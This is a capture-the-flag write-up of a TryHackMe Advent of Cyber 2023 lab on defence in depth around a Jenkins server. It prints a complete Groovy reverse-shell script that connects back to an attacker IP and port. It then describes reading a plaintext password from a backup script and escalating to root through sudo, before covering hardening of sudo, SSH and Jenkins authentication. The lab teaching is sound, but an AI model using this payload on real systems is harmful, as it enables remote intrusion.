Day 12 – Defence in depth, layered approach – Advent of Cyber 2023 – TryHackMe Challenge

Day 12 in the Advent of Cyber 2023. With the chaos of the recent merger, the company's security landscape has turned into the Wild West. Servers and endpoints, once considered fortresses, now resemble neglected outposts on the frontier, vulnerable to any attacker. As McHoneyBell sifts through the reports, a sense of urgency gnaws at her. "This is a ticking time bomb," she mutters to herself. It's clear they need a strategy, and fast.
Determined, McHoneyBell rises from her chair, her mind racing with possibilities. "Time to suit up, team. We're going deep!" she declares, her tone a blend of resolve and excitement. "Defence in Depth isn't just a strategy; it's our lifeline. We're going to fortify every layer, from the physical servers in the basement to the cloud floating above us. Every byte, every bit."

WARNING: Spoilers and challenge-answers are provided in the following writeup.
Official walk-through video is as well available at Youtube - TryHackMe.

Day 12 - Sleighing Threats, One Layer at a Time

Having one big security layer around ones infrastructure is a great way of securing the outer perimeter. Though, it can pose a severe flaw should this one layer break down or an adversary finding a way through. Layers - that's what can make the life of an attacking adversary hard. By following good practice in configuring systems, and implementing multiple layers, we can combat the bad guys and secure our infrastructure much better.

We might never be able to fully secure the systems as this would be practically impossible, but we can fill as many layers as possible in and configure these as secure as possible, and by doing so securing the infrastructure inside and out.

The Challenge

Today is all about configuring multiple layers of control, and ensuring removal of misconfiguration's as well as excessive permissions as to follow "Principle of least privileges". We're provided with a Linux machine running the service Jenkins.

Firstly we're asked what the default port is for Jenkins, which a quick search in the documentation reveals to be 8080. Knowing this, we can then try to access the webinterface, which it seems that we have full access to.

Jenkins Webinterface

Knowing that Jenkins is a form of automation server, we can look around the interface and look for a place where we might be able to run arbitrary code directly on the machine. And sure enough, under Manage we found a place for "Script Sonsole". This uses a Java platform language called "Groovy" - https://groovy-lang.org/. We can utilize this to try and get a reverse shell to the machine by running the below code kindly edited from another Groovy-script.

String host="10.14.65.112";
int port=6996;
String cmd="/bin/bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

Jenkins Script Console

On our attack-machine a netcat listner has been configured and as seen in below image, we do get a connection back from the machine which means that we now have a shell running with the jenkins user. The next question for us is to figure out the password of the user tracy.
The reverse shell we have, is not super stable and we do as well not see the prompt. But we're still able to run commands as seen in the image below. Firstly we start off by using pwd to print the working directory and get a sense of where in the filesystem we currently are. Then we use id to gain information about the current user we are and further seeing which groups the user is part of. Nothing super interesting here though.

But, we're informed that there might be some backup scripts in the path /opt/scripts. Looking at that path we can see a script called backup.sh and further taking a look into the file via the command cat, we can see that it packages conf for jenkins and use scp to save it in the user tracy's home-directory. Furthermore, a very bad security practice is used by leaving a password in plaintext. We now have obtained the password of the user tracy.

Reverse Shell

After this, we're kindly asked to find "the root flag". Often in CTF's this is placed within the /root directory, that only the root-user has access to. Surely we could use the admin user we're provided that have sudo-privileges to look for the flag, but what's the fun in that?
We know that we have access to a a user called tracy - this is a different user than the jenkins-user we currently are using. If we could move laterally over to this user, we might gain further access and privileges. In the /opt/scripts/backup.sh we've seen the usage of the command scp so we know that SSH is a possible way for us to logon.

tracy SSH

Yes, that worked like a charm! Let's run the command sudo -l to see if the user have any sudo-privileges that we might be able to utilize.

tracy sudo

Oh boy! (ALL : ALL) ALL basically means that the user tracy can use its own password for escalating to root-privileges for all and every command, and basically transform into a full root-user for the system. This is normally not very good practice. We can then quickly use the command sudo su to change user to root, look what's in the /root directory and see the content of the flag.txt file to answer the question of the root-flag.

root flag

We now take the "blue team" hat on, and start hardening the endpoint machine. We're tasked to figure out the error message when the user tracy logs ind and try to run sudo -l. This means we need to implement some Principle of least privileges and basically remove the user tracy from the sudoers group.

Harden with least privileges

This can be done via the command sudo deluser tracy sudo performed as the admin-user that we have been provided in the start of the challenge. And as we can see in the above image, running this command removes the privileged access for the tracy-user. These permission settings are granted per-session basis, meaning that any SSH-sessions that was initiated before the command will still have the privileges. We can logout of our terminal for tracy and logging ind again, and performing the sudo -l command, we can now clearly see that the privileges have been removed - and we have the answer to the question.

tracy without sudoers

In the second last question, we're tasked with finding the "SSH flag". Going through the challenge description, we can see that we need to harden the SSH a bit. Normally, and as we saw when we SSH'ed into the machine as the user tracy, we were able to do so with just the username and password. This could lead to adversaries and other bad people to gain access should they crack a not-so-secure password or similar. We can in the configuration for SSH, remove the ability to authenticate using just passwords and requiring private-public key-pairs.

Hardening SSH is handled in its configuration file /etc/ssh/sshd_config, where we're going to comment out the ability to load in extra configuration by adding a # in front of the line Include /etc/ssh/sshd_config.d/*.conf and disable password anthentication by uncomment and change from yes to no the line PasswordAuthentication

Harden SSH

When the configuration to the SSH service has been hardened, we do as well need to restart the ssh for it to take action for new logons. This can be done via sudo systemctl restart ssh. But looking at the ssh config-file we can also see a comment in the file, right under the PasswordAuthentication-line, that normally is not there and this is the answer and flag for SSH in the questions.

SSH flag

The last question for today's challenge is finding the "Jenkins flag". Again, we'll go through the challenge description and see that this last task is about fixing the authentication for jenkins. When we first started the challenge, we could access to webinterface on the default port and gain access directly without any authentication. Even though the access to the webinterface is entirely internal to the infrastructure, this could lead to potential issues as an adversary could be in the systems and enumerating interesting spots. They could even create a reverse shell just like we did in the start.

Taking a look at the config for jenkins at the path var/lib/jenkins/, we can see that a backup have been created alongside the running configuration file.

Jenkins config

In the backup config, we can further see that the configurations for authorizationStrategy and securityRealm is commented out. We can also see that a weird comment is added - testing it as the "Jenkins flag" and we can see that we found the last answer for today's challenge.

Zero Trust and jenkins flag

Just for good measure, we can uncomment the two configurations, save the file, and restart jenkins via sudo systemctl restart jenkins. Then we try to access the webinterface again, but is this time greeted with a login-page - we have now removed the full trust and is requiring any user to authenticate before they can use the Jenkins system.

Jenkins Logon

Leave a Reply

Your email address will not be published. Required fields are marked *